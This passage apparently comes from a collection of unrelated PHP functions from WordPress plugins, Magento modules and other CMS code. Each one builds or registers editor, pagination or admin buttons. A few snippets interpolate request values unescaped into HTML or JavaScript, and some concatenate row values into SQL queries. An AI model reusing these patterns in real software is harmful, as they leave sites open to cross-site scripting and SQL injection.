as $button_id => $button) {\n if (in_array('any', $button['post_type']) || in_array($post_type, $button['post_type'])) {\n $item_id = \"wputinymce_\" . $button_id;\n $callback_item = 'callback__' . $item_id;\n $button['html'] = str_replace(\"\\n\", '\\n', $button['html']);\n echo 'function ' . $callback_item . '(b,el){wputinymce_insertAtCursor(el,wputinymce_filter_vars(\"' . addslashes($button['html']) . '\"));};';\n echo \"QTags.addButton( '\" . $item_id . \"', '\" . addslashes($button['title']) . \"', \" . $callback_item . \", '', '', '\" . addslashes($button['title']) . \"', 200 );\\n\";\n }\n }\n echo '});';\n echo '</script>';\n }", "private function add_buttons(&$data)\n\t{\n\t\t$data['action'] = $this->url->link(\n\t\t\t\"extension/payment/{$this->gateway_name}\",\n\t\t\t'user_token=' . $this->session->data['user_token'],\n\t\t\ttrue\n\t\t);\n\n\t\t$data['cancel'] = $this->url->link(\n\t\t\t'marketplace/extension',\n\t\t\t'user_token=' . $this->session->data['user_token'] . '&type=payment',\n\t\t\ttrue\n\t\t);\n\t}", "private function createButton() {\n $fv = new filterVars;\n $phpSelf = $fv->phpSelf();\n\t$addButton = \"<A HREF='$phpSelf?action=crf'><button title='Create Row'>Create Row</button></A>\"; \n return $addButton; \n }", "protected function createPageButtons() {\n $pageCount = $this->getPageCount();\n if($pageCount>1)\n echo \"<div style='float:left;display:inline-block;margin-right:8px;height:30px;line-height:30px;'>共\".$this->itemCount.\"条</div>\";\n if ($pageCount <= 1)\n return array();\n\n $currentPage = $this->getCurrentPage(false); // currentPage is calculated in getPageRange()\n $buttons = array();\n\n // internal pages\n for ($i = $beginPage; $i <= ($pageCount - 1); ++$i) {\n $class = ($i == $currentPage ? 'active' : 'disabled');\n $pages[] = array('label' => ($i + 1) . \"/\" . $pageCount, 'url' => $this->createPageUrl($i), 'linkOptions' => array('class' => $class));\n };\n\n $this->widget('bootstrap.widgets.TbButtonGroup', array(\n 'size' => 'small',\n 'buttons' => array(\n array('label' => ($currentPage + 1) . \"/\" . $pageCount, 'items' => $pages)\n )));\n // first page\n if ($this->displayFirstAndLast)\n $buttons[] = $this->createPageButton($this->firstPageLabel, 0, 'first', $currentPage <= 0, false);\n\n // prev page\n if (($page = $currentPage - 1) < 0)\n $page = 0;\n\n $buttons[] = $this->createPageButton($this->prevPageLabel, $page, 'previous', $currentPage <= 0, false);\n\n\n\n\n // next page\n if (($page = $currentPage + 1) >= $pageCount - 1)\n $page = $pageCount - 1;\n\n $buttons[] = $this->createPageButton($this->nextPageLabel, $page, 'next', $currentPage >= ($pageCount - 1), false);\n\n // last page\n if ($this->displayFirstAndLast)\n $buttons[] = $this->createPageButton($this->lastPageLabel, $pageCount - 1, 'last', $currentPage >= ($pageCount - 1), false);\n\n\n return $buttons;\n }", "function wpua_add_buttons() {\n // Add only in Rich Editor mode\n if(get_user_option('rich_editing') == 'true') {\n add_filter('mce_external_plugins', 'wpua_add_tinymce_plugin');\n add_filter('mce_buttons', 'wpua_register_button');\n }\n}", "public function renderButton(){\n\t\t\t$content = <<<ENDBUTTON\n\t<li><a id=\"btn-import-{$this->ID}\" href=\"#importerModal{$this->ID}\" data-toggle=\"modal\"><i class=\"{$this->icon}\"></i> From {$this->source}</a></li>\nENDBUTTON;\n\t\t\t\n\t\t\treturn $content;\n\t\t}", "function add_buttons() {\n\t\t // Don't bother doing this stuff if the current user lacks permissions\n\t\t if ( ! current_user_can('edit_posts') && ! current_user_can('edit_pages') )\n\t\t\t return;\n\t\t \n\t\t // Add only in Rich Editor mode\n\t\t if ( get_user_option('rich_editing') == 'true') {\n\t\t\t add_filter('mce_external_plugins', array( $this, 'add_tinymce_plugin' ) );\n\t\t\t add_filter('mce_buttons_2', array( $this, 'register_button' ) );\n\t\t }\n\t\t}", "function learn_press_single_quiz_buttons() {\n\t\tlearn_press_get_template( 'content-quiz/buttons.php' );\n\t}", "protected function prepareButtons()\n\t{\n\t\tparent::prepareButtons();\n\t\t$this->xt->assign(\"save_button\", false);\n\t\t$this->xt->assign(\"view_page_button\", false );\n\t\t\n\t\t$this->xt->assign(\"updsel_button\", true);\n\t\t$this->xt->assign(\"updselbutton_attrs\", \"id=\\\"saveButton\".$this->id.\"\\\"\" );\n\t\t\n\t\t$label = str_replace( \"%n%\", $this->nSelected, \"Update %n% records\" );\n\t\t$this->xt->assign(\"update_selected\", $label );\n\t}", "protected function changeButtons()\n {\n $helper = Mage::helper('fraisrconnect/data');\n $urlModel = Mage::getModel('adminhtml/url');\n \n $this->_removeButton('add');\n\n //Add cause sync button\n $this->_addButton('cause_synchronisation', array(\n 'label' => $helper->__('Synchronize causes'),\n 'onclick' => 'setLocation(\\'' . $urlModel->getUrl('fraisrconnect/adminhtml_synchronisation/cause') .'\\')',\n 'class' => 'add',\n ));\n\n //Add category sync button\n $this->_addButton('category_synchronisation', array(\n 'label' => $helper->__('Synchronize categories'),\n 'onclick' => 'setLocation(\\'' . $urlModel->getUrl('fraisrconnect/adminhtml_synchronisation/category') .'\\')',\n 'class' => 'add',\n ));\n\n //Add mark products to sync button\n $this->_addButton('product_mark_to_synchronisation', array(\n 'label' => $helper->__('Mark products as to synchronize'),\n 'onclick' => 'setLocation(\\'' . $urlModel->getUrl('fraisrconnect/adminhtml_synchronisation/markProduct') .'\\')',\n 'class' => 'add',\n ));\n\n //Add product sync button\n $this->_addButton('product_synchronisation', array(\n 'label' => $helper->__('Synchronize products'),\n 'onclick' => 'setLocation(\\'' . $urlModel->getUrl('fraisrconnect/adminhtml_synchronisation/product') .'\\')',\n 'class' => 'add',\n ));\n\n //Add order sync button\n $this->_addButton('order_synchronisation', array(\n 'label' => $helper->__('Synchronize orders'),\n 'onclick' => 'setLocation(\\'' . $urlModel->getUrl('fraisrconnect/adminhtml_synchronisation/order') .'\\')',\n 'class' => 'add',\n ));\n }", "public function add_editor_buttons() {\n\t\tif ( ! current_user_can( 'iggogrid_list_tables' ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\t$this->init_i18n_support();\n\t\tadd_thickbox(); // usually already loaded by media upload functions\n\t\t$admin_page = IggoGrid::load_class( 'IggoGrid_Admin_Page', 'class-admin-page-helper.php', 'classes' );\n\t\t$admin_page->enqueue_script( 'quicktags-button', array( 'quicktags', 'media-upload' ), array(\n\t\t\t'editor_button' => array(\n\t\t\t\t'caption' => __( 'Table', 'iggogrid' ),\n\t\t\t\t'title' => __( 'Insert a Table from IggoGrid', 'iggogrid' ),\n\t\t\t\t'thickbox_title' => __( 'Insert a Table from IggoGrid', 'iggogrid' ),\n\t\t\t\t'thickbox_url' => IggoGrid::url( array( 'action' => 'editor_button_thickbox' ), true, 'admin-post.php' ),\n\t\t\t),\n\t\t) );\n\n\t\t// TinyMCE integration\n\t\tif ( user_can_richedit() ) {\n\t\t\tadd_filter( 'mce_external_plugins', array( $this, 'add_tinymce_plugin' ) );\n\t\t\tadd_filter( 'mce_buttons', array( $this, 'add_tinymce_button' ) );\n\t\t\tadd_action( 'admin_print_styles', array( $this, 'add_iggogrid_hidpi_css' ), 21 );\n\t\t}\n\t}", "function add_ind_button($buttons) {\n\tarray_push($buttons, 'Indizar');\n\treturn $buttons;\n}", "private function render_gen_button(MJKGenToolsPage $page): void {\r\n $this->render_ajax_button($page, 'Generate now', 'gen');\r\n }", "public static function add_button() {\r\n\t\tif (current_user_can('edit_posts') || current_user_can('edit_pages')) {\r\n\t\t\tadd_filter('mce_external_plugins', 'TpsShortCodes::add_plugin');\r\n\t\t\tadd_filter('mce_buttons', 'TpsShortCodes::register_button');\r\n\t\t}\r\n\t}", "function print_ajax_button() {\n\t\tif( $this->max_num_posts > $this->post_on ):\n\t\t\tinclude locate_template( 'templates/partials/ajax-load-more.php' );\n\t\tendif;\n\t}", "public function getPluginButtons() {}", "function econsole_get_buttons($modulename, $ids=''){\r\n\t$btn = \"\";\r\n\tif(!empty($ids)){\r\n\t\t$modules = split(\",\",$ids);\r\n\t\tforeach($modules as $module){\r\n\t\t\t$instance = get_record(\"course_modules\", \"id\", $module, \"\", \"\", \"\", \"\", \"instance\");\r\n\t\t\t$name = get_record($modulename, \"id\", $instance->instance, \"\", \"\", \"\", \"\", \"name\");\t\t\t\r\n\t\t\t//OnMouse: replaceImage();\r\n\t\t \t$btn .= \"<a href=\\\"#\\\"><img src=\\\"theme/\".$_REQUEST[\"thm\"].\"/img/btn/\".$modulename.\".gif\\\" alt=\\\"\\\" title=\\\"\\\" class=\\\"btn\\\" border=\\\"0\\\" onMouseOver=\\\"Javascript: replaceImage(this, 'theme/\".$_REQUEST[\"thm\"].\"/img/btn/\".$modulename.\"over.gif');\\\" onMouseOut=\\\"Javascript: replaceImage(this, 'theme/\".$_REQUEST[\"thm\"].\"/img/btn/\".$modulename.\".gif'); hideTitle();\\\" onClick=\\\"Javascript: window.parent.document.getElementById('mainFrame').src='../\".$modulename.\"/view.php?id=\".$module.\"';\\\" onMouseMove=\\\"showTitleRight(event,'\".$name->name.\"','');\\\"></a>&nbsp;\";\r\n\t\t\t//OnMouse: changeDimensions();\r\n\t\t \t//$btn .= \"<a href=\\\"#\\\"><img src=\\\"theme/\".$_REQUEST[\"thm\"].\"/img/btn/\".$modulename.\".gif\\\" alt=\\\"\\\" title=\\\"\\\" class=\\\"btn\\\" style=\\\"width: 28; height: 28\\\"; border=\\\"0\\\" onMouseOver=\\\"Javascript: changeDimensions(this, '+4', '+4');\\\" onMouseOut=\\\"Javascript: changeDimensions(this, '-4', '-4'); hideTitle();\\\" onClick=\\\"Javascript: window.parent.opener.location.href='../\".$modulename.\"/view.php?id=\".$module.\"';\\\" onMouseMove=\\\"showTitle(event,'\".$name->name.\"','');\\\"></a>&nbsp;\";\r\n\t\t}\r\n\t}else{\r\n \t\t$btn = \"<img src=\\\"theme/\".$_REQUEST[\"thm\"].\"/img/btn/\".$modulename.\".gif\\\" alt=\\\"\\\" title=\\\"\\\" border=\\\"0\\\" class=\\\"transparent\\\">&nbsp;\";\r\n\t}\r\n\treturn $btn;\r\n}", "function add_photocrati_media_buttons()\r\n{\r\n\techo _media_button('Add an Image', 'images/media-button-image.gif', 'image', 'add_image');\r\n\techo _media_button('Add Video', 'images/media-button-video.gif', 'video', 'add_video');\r\n\techo _media_button('Add Audio', 'images/media-button-music.gif', 'audio', 'add_audio');\r\n}", "public function buttons()\n\t{\n\t\t//sufficient authority\n\t\tif ($this->authority === '1')\n\t\t\treturn parent::buttons();\n\n\t\t//insufficient authority\n\t\telse\n\t\t{\n\t\t\t$button = \n\t\t\t\t'<div class=\"view-b\">\n\t\t\t\t\t<button type=\"submit\" name=\"action\" value=\"Edit\" class=\"btn\"\n\t\t\t\t\t\t>View</button>\n\t\t\t\t</div>'\n\t\t\t;\n\n\t\t\treturn $button;\n\n\t\t} //end insufficient authority\n\t\n\t}", "function register_mce_button( $buttons ) {\n\t\tarray_push( $buttons, 'infographic_mce_button' );\n\t\treturn $buttons;\n\t}", "function manipulate_update_button($buttons, $rowData){\r\n\t\t//print_r($rowData);exit();\r\n\t\tif ($this->input->get('action') == 'view') {unset($buttons['update']);}\r\n\t\t{\r\n\t\t$this->db_plc0->where('iupb_id', $rowData['iupb_id']);\t\t\r\n\t\t$j2 = $this->db_plc0->count_all_results('plc2.coa_pilot_lab');\r\n\t\t$icoa_id=0;\r\n\t\tif($j2> 0){\r\n\t\t\t$sql=\"select * from plc2.coa_pilot_lab where iupb_id=\".$rowData['iupb_id'].\" LIMIT 1\";\r\n\t\t\t$dt=$this->db_plc0->query($sql)->row_array();\r\n\t\t\t$icoa_id=$dt['icoa_id'];\r\n\t\t}\r\n\r\n\t\tunset($buttons['update']);\r\n\t\t//$js=$this->load->view('misc_util',array('className'=> 'coa_pilot_lab'), true);\r\n\t\t$js =$this->load->view('coa_pilot_lab_js');\r\n\t\t$js .= $this->load->view('uploadjs');\r\n\r\n\t\t$cNip=$this->user->gNIP;\r\n\t\t$sql= \"select * from plc2.plc2_upb up where up.iupb_id=\".$rowData['iupb_id'];\r\n\t\t$dt=$this->dbset->query($sql)->row_array();\r\n\t\t$setuju = '<button onclick=\"javascript:setuju(\\'coa_pilot_lab\\', \\''.base_url().'processor/plc/coa/pilot/lab?action=confirm&last_id='.$this->input->get('id').'&icoa_id='.$icoa_id.'&foreign_key='.$this->input->get('foreign_key').'&company_id='.$this->input->get('company_id').'&group_id='.$this->input->get('group_id').'&modul_id='.$this->input->get('modul_id').'\\', this, '.$dt['iupb_id'].', \\''.$dt['vupb_nomor'].'\\')\" class=\"ui-button-text icon-save\" id=\"button_save_soi_fg\">Confirm</button>';\r\n\t\t\r\n\t\t$approve = '<button onclick=\"javascript:load_popup(\\''.base_url().'processor/plc/coa/pilot/lab?action=approve&iupb_id='.$rowData['iupb_id'].'&icoa_id='.$icoa_id.'&cNip='.$cNip.'&status=1&group_id='.$this->input->get('group_id').'&modul_id='.$this->input->get('modul_id').'\\')\" class=\"ui-button-text icon-save\" id=\"button_approve_coa_pilot_lab\">Approve</button>';\r\n\t\t$reject = '<button onclick=\"javascript:load_popup(\\''.base_url().'processor/plc/coa/pilot/lab?action=reject&iupb_id='.$rowData['iupb_id'].'&icoa_id='.$icoa_id.'&cNip='.$cNip.'&status=2&group_id='.$this->input->get('group_id').'&modul_id='.$this->input->get('modul_id').'\\')\" class=\"ui-button-text icon-save\" id=\"button_approve_coa_pilot_lab\">Reject</button>';\r\n\r\n\t\t$update = '<button onclick=\"javascript:update_btn_back(\\'coa_pilot_lab\\', \\''.base_url().'processor/plc/coa/pilot/lab?company_id='.$this->input->get('company_id').'&group_id='.$this->input->get('group_id').'&modul_id='.$this->input->get('modul_id').'\\', this)\" class=\"ui-button-text icon-save\" id=\"button_save_coa_pilot_lab\">Update & Submit</button>';\r\n\t\t$updatedraft = '<button onclick=\"javascript:update_draft_btn(\\'coa_pilot_lab\\', \\''.base_url().'processor/plc/coa/pilot/lab?company_id='.$this->input->get('company_id').'&draft=true&group_id='.$this->input->get('group_id').'&modul_id='.$this->input->get('modul_id').'\\', this, true)\" class=\"ui-button-text icon-save\" id=\"button_save_coa_pilot_lab\">Update as Draft</button>';\r\n\t\tif($this->auth_localnon->is_manager()){\r\n\t\t\t$x=$this->auth_localnon->dept();\r\n\t\t\t$manager=$x['manager'];\r\n\t\t\tif(in_array('QA', $manager)){\r\n\t\t\t\tif($j2> 0){\r\n\t\t\t\t\t$sql=\"select * from plc2.coa_pilot_lab where icoa_id=\".$icoa_id.\" LIMIT 1\";\r\n\t\t\t\t\t$dt=$this->db_plc0->query($sql)->row_array();\r\n\t\t\t\t\tif($dt['isubmit']==0){\r\n\t\t\t\t\t\t$buttons['update']=$updatedraft.$update.$js;\r\n\t\t\t\t\t}\r\n\t\t\t\t\telseif(($dt['isubmit']<>0)&&($dt['iappqa']==0)){\r\n\t\t\t\t\t\t$buttons['update']=$setuju.$js;\r\n\t\t\t\t\t}else{}\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$buttons['update']=$updatedraft.$update.$js;\r\n\t\t\t\t}\r\n\t\t\t\t$type='QA';\r\n\t\t\t}else{\r\n\r\n\t\t\t\t$type='';\r\n\t\t\t}\r\n\t\t}else{\r\n\r\n\t\t\t$x=$this->auth_localnon->dept();\r\n\t\t\t$team=$x['team'];\r\n\t\t\tif(in_array('QA', $team)){\r\n\t\t\t\t$type='QA';\r\n\t\t\t\tif($j2> 0){\r\n\t\t\t\t\t$sql=\"select * from plc2.coa_pilot_lab where icoa_id=\".$icoa_id.\" LIMIT 1\";\r\n\t\t\t\t\t$dt=$this->db_plc0->query($sql)->row_array();\r\n\t\t\t\t\tif($dt['isubmit']==0){\r\n\t\t\t\t\t\t$buttons['update']=$updatedraft.$update.$js;\r\n\t\t\t\t\t}else{}\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$buttons['update']=$updatedraft.$update.$js;\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\t$type='';\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t\treturn $buttons;\r\n\t}", "public function share_buttons($socials = null)\n {\n if (!static::$initialized) {\n error_log(__('Jankx social sharing is not initialized yet', 'jankx'));\n return;\n }\n ?>\n <div class=\"jankx-socials-sharing drop-styles\">\n <?php $this->render_social_share_buttons($socials); ?>\n </div>\n\n <?php\n ob_start();\n ?>\n <script>\n function jankx_socials_sharing_find_button_from_target(ele) {\n if (!ele.dataset.type) {\n return jankx_socials_sharing_find_button_from_target(ele.parentElement);\n }\n return ele;\n }\n\n <?php foreach (static::$agruments as $variable_name => $agrument) : ?>\n var <?php echo $variable_name; ?> = <?php echo $agrument; ?>;\n <?php endforeach; ?>\n\n var socials_sharing_buttons = document.querySelectorAll('.jankx-socials-sharing .social-sharing-button');\n if (socials_sharing_buttons.length > 0) {\n for (i = 0; i < socials_sharing_buttons.length; i++) {\n if (!socials_sharing_buttons[i].dataset.type) {\n continue;\n }\n socials_sharing_buttons[i].addEventListener('click', function(e) {\n button = jankx_socials_sharing_find_button_from_target(e.target);\n VanillaSharing[button.dataset.type](\n window[button.dataset.agrument]\n );\n });\n }\n }\n </script>\n <?php\n execute_script(ob_get_clean());\n }", "function add_record_button($action_title, $file_name, $button_text)\n{\n ?>\n <p style=\"font-size:21px\"><?= ucwords($action_title) ?></p>\n <p>\n <a href=\"<?= $_SERVER['SCRIPT_NAME'] ?>?p=<?= $file_name ?>\" class=\"btn btn-primary\" role=\"button\">\n <span class=\"glyphicon glyphicon-plus-sign\"></span> Add <?= ucwords($button_text) ?></a>\n </p>\n <?php\n}", "function nav_buttons()\n\t{\n\t\t?>\n\t\t<input type=\"button\" value=\"Create New Preorder &gt;\" onclick=\"document.location='/admin/utilities/preorder.php?act=new'\" class=\"btn\">\n\t\t<p />\n\t\t<?php\n\t}", "public function onRun()\n {\n $this->page['visible'] = $this->property('visible');\n $this->page['button'] = $this->property('button');\n }", "function btn_register_mce_button( $buttons ) {\n\tarray_push( $buttons, 'btn_mce_button' );\n\treturn $buttons;\n}", "public function kiwip_tinymce_resister_button($buttons){\n\t\tforeach($this->tinymce as $key) {\n\t\t\tarray_push($buttons, '|', $key['buttonName']);\n\t\t}\n\t\treturn $buttons;\n\t}", "function register_shortcodes_button( $buttons ) {\n\tif ( (get_post_type() == 'page') || (get_post_type() == 'post') )\n\t{\n\t\tarray_push( $buttons, \"divider\", \"toggle\", \"tabs\", \"accordian\", \"dropcaps\", \"section-title\", \"video\", \"soundcloud\", \"carousel\", \"services-grid\", \"latest-blog\", \"photo-slide\", \"columns\" );\n\t}\n return $buttons;\n}", "public function addMenuItemsJavascript()\n {\n ?>\n <script>\n window.tinymce_submenus = window.tinymce_submenus || [];\n window.tinymce_submenus.push({\n id: '<?php echo $this->id ?>',\n label: '<?php echo $this->label ?>',\n items: '<?php echo str_replace(\"'\", \"\\\\'\", json_encode($this->items)) ?>'\n });\n </script>\n <?php\n }", "function makeButtons($page){\n\t\tif ($page!= 1){\n\t\techo \"<button><a href='national_parks.php?page=\".($page-1).\"'>Previous</a></button>\";\n\n\t\t}\n\t\t//make a button for all pages matching the different page numbers\n\t\t//the page number should not be hard coded\n\t\tfor($i=1; $i<28; $i+=1){\n\n\t\t\techo \"<button><a href='national_parks.php?page=\".$i.\"'>\".$i.\"</a></button>\";\n\t\t}\n\t\t//if the page number is not equal to 15, then include a \"next\" button\n\t\t//page number should not be hard coded\n\t\tif ($page!=28){\n\t\techo \"<button><a href='national_parks.php?page=\".($page+1).\"'>Next</a></button>\";\n\t\t}\n\t}", "protected function getButtons()\n {\n $buttonBar = $this->moduleTemplate->getDocHeaderComponent()->getButtonBar();\n // Shortcut\n $shortcutButton = $buttonBar->makeShortcutButton()\n ->setModuleName($this->MCONF['name'])\n ->setGetVariables(array('id', 'M'));\n $buttonBar->addButton($shortcutButton);\n }", "function add_button(TinyMCE_Button_Interface $button) {\n\t\t$button_id = $button->get_id();\n\t\t$this->buttons[$button_id][] = $button;\n\t}", "protected function getButtons($aBtnAtt = array(), $aBtnTyp = 'button') {\n $lRet = '<div class=\"sub cmsHeader p4\">'.LF;\n\n //check is critical path status flag 'add content' is activated\n $lShow = FALSE;\n $lCrp = CCor_Res::extract('code', 'id', 'crpmaster');\n $lCrpId = $lCrp[$this -> mSrc];\n $lCrpArr = CCor_Res::get('crp', $lCrpId);\n $lSta = $this -> mJob['webstatus'];\n foreach ($lCrpArr as $lRow) {\n if ($lRow['status'] == $lSta) {\n if (bitset($lRow['flags'], staflaAddContent)) {\n $lShow = TRUE;\n }\n }\n }\n \n if ($this -> mCanInsert && ($lShow || $this -> mUsr -> isMemberOf(1))) {\n $lRet.= btn(lan('job-cms.add'), '', 'img/d.gif', $aBtnTyp, array('id' => 'contentButton', 'data-toggle' => \"modal\", 'data-target' => \"#add_master\", 'class' => \"btn btn-default\")).NB; \n }\n if ($this -> mCanEdit OR $this -> mCanInsert) {\n $lAction = '';\n if ($this -> mPhraseTyp == 'product' && CCor_Cfg::get('phrase.job.update', 'auto') == 'manual' && sizeof($this -> mData) > 0) {\n $lAction = 'return Flow.cmsProduct.update();';\n }\n $lRet.= btn(lan('lib.ok'), $lAction, 'img/ico/16/ok.gif', 'submit', array('id' => 'save', 'class' => 'dn')).NB;\n }\n if ($this -> mCanInsert) {\n $lMen = new CHtm_Menu(lan('lib.opt'), \"options fl p4\");\n $lMen -> addTh2(lan('lib.opt'));\n $lMen -> addJsItem(\"go('index.php?act=job-cms.contexp&src=\".$this -> mSrc.\"&jobid=\".$this -> mJobId.\"&typ=xml')\", lan('job-cms.exportxml'), 'ico/16/fie.gif');\n $lMen -> addJsItem(\"go('index.php?act=job-cms.contexp&src=\".$this -> mSrc.\"&jobid=\".$this -> mJobId.\"&typ=excel')\", lan('job-cms.exportexcel'), 'ico/16/excel.gif');\n if($this -> mCanBuild && $this -> mPhraseTyp == 'job') {\n $lMen -> addJsItem('Flow.chili.buildArtwork()', lan('job-cms.build'), 'ico/16/pdf.png');\n }\n $lRet.= $lMen -> getContent();\n }\n $lRet.= $this -> getLanguageOptions();\n $lRet.= '</div>'.LF;\n return $lRet;\n }", "function register_button($buttons) {\n\t\t\t/*print( \"\\n<!-- Preparing to add the umw_widget_short MCE button. -->\\n\" );\n\t\t\tprint( \"\\n<!-- The current buttons array looks like:\\n\" . print_r( $buttons, true ) . \"\\n-->\\n\" );*/\n\t\t\tarray_push($buttons, 'umw_widget_short');\n\t\t\t/*print( \"\\n<!-- The updated buttons array looks like:\\n\" . print_r( $buttons, true ) . \"\\n-->\\n\" );*/\n\t\t\treturn $buttons;\n\t\t}", "function get_All_Mangements(){\n\t\t$con = connect();\n\t\t$sql= \"SELECT ID,Management FROM managements \" ;\n\t\t$stmt = $con->prepare($sql);\n\t\t$stmt->execute();\n\t\t$result = $stmt->fetchAll();\n\t\t\tforeach($result as $row){\n\t\t\techo '<button class=\"btn btn-lg managements editManagementData well well-sm col-sm-4\" data-toggle=\"modal\" data-target=\"#editManagementModal\" id=\"'.$row['ID'].'\">'. $row['Management'] .'</button>';\n\t\t\t\t// echo \"<div class='managements well well-sm col-sm-4'><span>\". $row['Management'] .\"</span></div>\";\n\t\t\t}\n\t\t\techo \"<div class='btn btn-lg managements well well-sm col-sm-4' data-toggle='modal' data-target='#addManagementModal'><i class='fa fa-plus-circle'></i></div>\";\n\t}", "function popup_elements()\n\t\t{\n\t\t\t\n\t\t}", "function addButton($context){\n\t\t$context .= '<a href=\"'.admin_url('admin.php?action=iframe_pagination_ssm&TB_iframe=1').'\" onclick=\"return false;\" class=\"thickbox\" title=\"' . __(\"Browse in shortcode manager\", 'ssm') . '\"><img src=\"'.SSM_URL . \"/images/shortcodes.png\".'\" alt=\"' . __(\"Insert a shortcode\", 'ssm') . '\" /></a>';\n\t\treturn $context;\n\t}", "public function script() {\r\n\t\tif ($this->scriptable === true || $this->scriptable === 'true') {\r\n\t\t\t$page = pzk_page();\r\n\t\t\tif ($page) {\r\n\t\t\t\t$page->addJsInst($this->toArray());\r\n\t\t\t}\r\n\t\t}\r\n\t}", "public function registerScripts()\n {\n $view = $this->getView();\n TemplateEditorAsset::register($view);\n $view->registerJs('\n $(\".connected\").sortable({connectWith: \".connected\"}).bind(\"sortupdate\", function(e, ui) {\n var item = $(ui.item);\n var input = item.find(\"input\");\n var parent = item.closest(\".block-position\");\n if (parent.length) {\n input.attr(\"name\", \"Template[positions][\"+parent.data(\"position\")+\"][]\");\n } else {\n input.attr(\"name\", \"Template[positions][' . Template::UNREGISTERED . '][]\");\n }\n }).click(function(e){\n e.preventDefault();\n });\n ', View::POS_END);\n }", "public static function inclureJS() {\r\n \r\n foreach (Page::getInstance()->script as $link) {\r\n \r\n ?>\r\n <script type=\"text/javascript\" src=\"<?php echo $link; ?>\" ></script>\r\n <?php\r\n \r\n }\r\n }", "function wpshop_register_buttons_editor( $buttons ) {\n array_push(\n $buttons,\n //'col_6',\n //'col_4',\n 'blockquote_warning',\n 'blockquote_info',\n 'blockquote_danger',\n 'blockquote_check',\n 'blockquote_quote',\n 'content_btn',\n 'spoiler_btn',\n 'mark_btn',\n 'mask_link'\n );\n return $buttons;\n}", "private function renderButton()\n {\n $this->params = Json::encode([\n 'btnName' => $this->options['id'],\n 'cookieName' => $this->cookie['name'],\n 'cookieValue' => addslashes($this->getHashedCookieValue($this->cookie['value'])),\n 'cookieOptions' => isset($this->cookie['options']) ? $this->cookie['options'] : null,\n ]);\n\n if($this->cookie($this->cookie['name'])) {\n Html::addCssClass($this->options, 'active');\n }\n\n echo Button::widget([\n 'label' => $this->encodeLabel ? Html::encode($this->label) : $this->label,\n 'encodeLabel' => $this->encodeLabel,\n 'options' => ArrayHelper::merge(['data-toggle' => 'button'], $this->options),\n 'tagName' => $this->buttonTagName\n ]);\n }", "function popup_elements()\n {\n $this->elements = [\n [\n \"type\" => \"tab_container\",\n 'nodescription' => true,\n ],\n\n [\n \"type\" => \"tab\",\n \"name\" => __(\"Content\", 'avia_framework'),\n 'nodescription' => true,\n ],\n\n [\n \"name\" => __(\"Button Label\", 'avia_framework'),\n \"desc\" => __(\"This is the text that appears on your button.\", 'avia_framework'),\n \"id\" => \"label\",\n \"type\" => \"input\",\n \"std\" => __(\"Download\", 'avia_framework'),\n ],\n [\n \"name\" => __(\"Button Link?\", 'avia_framework'),\n \"desc\" => __(\"Where should your button link to?\", 'avia_framework'),\n \"id\" => \"link\",\n \"type\" => \"linkpicker\",\n \"fetchTMPL\" => true,\n \"subtype\" => [\n __('Set Manually', 'avia_framework') => 'manually',\n __('Single Entry', 'avia_framework') => 'single',\n __('Taxonomy Overview Page', 'avia_framework') => 'taxonomy',\n ],\n \"std\" => \"\",\n ],\n [\n \"type\" => \"close_div\",\n 'nodescription' => true,\n ],\n [\n \"type\" => \"tab\",\n \"name\" => __(\"Colors\", 'avia_framework'),\n 'nodescription' => true,\n ],\n [\n \"name\" => __(\"Button Color\", 'avia_framework'),\n \"desc\" => __(\"Choose a color for your button here\", 'avia_framework'),\n \"id\" => \"color\",\n \"type\" => \"select\",\n \"std\" => \"theme-color\",\n \"subtype\" => [\n __('Translucent Buttons', 'avia_framework') => [\n __('Light Transparent', 'avia_framework') => 'light',\n __('Dark Transparent', 'avia_framework') => 'dark',\n ],\n __('Colored Buttons', 'avia_framework') => [\n __('Theme Color', 'avia_framework') => 'theme-color',\n __('Theme Color Highlight', 'avia_framework') => 'theme-color-highlight',\n __('Theme Color Subtle', 'avia_framework') => 'theme-color-subtle',\n __('Blue', 'avia_framework') => 'blue',\n __('Red', 'avia_framework') => 'red',\n __('Green', 'avia_framework') => 'green',\n __('Orange', 'avia_framework') => 'orange',\n __('Aqua', 'avia_framework') => 'aqua',\n __('Teal', 'avia_framework') => 'teal',\n __('Purple', 'avia_framework') => 'purple',\n __('Pink', 'avia_framework') => 'pink',\n __('Silver', 'avia_framework') => 'silver',\n __('Grey', 'avia_framework') => 'grey',\n __('Black', 'avia_framework') => 'black',\n __('Custom Color', 'avia_framework') => 'custom',\n\n ],\n ],\n ],\n [\n \"name\" => __(\"Custom Background Color\", 'avia_framework'),\n \"desc\" => __(\"Select a custom background color for your Button here\", 'avia_framework'),\n \"id\" => \"custom_color\",\n \"type\" => \"colorpicker\",\n \"std\" => \"#444444\",\n \"required\" => ['color', 'equals', 'custom'],\n ],\n [\n \"type\" => \"close_div\",\n 'nodescription' => true,\n ],\n [\n \"type\" => \"tab\",\n \"name\" => __(\"Screen Options\", 'avia_framework'),\n 'nodescription' => true,\n ],\n [\n \"name\" => __(\"Element Visibility\", 'avia_framework'),\n \"desc\" => __(\"Set the visibility for this element, based on the device screensize.\",\n 'avia_framework'),\n \"type\" => \"heading\",\n \"description_class\" => \"av-builder-note av-neutral\",\n ],\n [\n \"desc\" => __(\"Hide on large screens (wider than 990px - eg: Desktop)\", 'avia_framework'),\n \"id\" => \"av-desktop-hide\",\n \"std\" => \"\",\n \"container_class\" => 'av-multi-checkbox',\n \"type\" => \"checkbox\",\n ],\n [\n\n \"desc\" => __(\"Hide on medium sized screens (between 768px and 989px - eg: Tablet Landscape)\",\n 'avia_framework'),\n \"id\" => \"av-medium-hide\",\n \"std\" => \"\",\n \"container_class\" => 'av-multi-checkbox',\n \"type\" => \"checkbox\",\n ],\n [\n\n \"desc\" => __(\"Hide on small screens (between 480px and 767px - eg: Tablet Portrait)\",\n 'avia_framework'),\n \"id\" => \"av-small-hide\",\n \"std\" => \"\",\n \"container_class\" => 'av-multi-checkbox',\n \"type\" => \"checkbox\",\n ],\n [\n\n \"desc\" => __(\"Hide on very small screens (smaller than 479px - eg: Smartphone Portrait)\",\n 'avia_framework'),\n \"id\" => \"av-mini-hide\",\n \"std\" => \"\",\n \"container_class\" => 'av-multi-checkbox',\n \"type\" => \"checkbox\",\n ],\n [\n \"type\" => 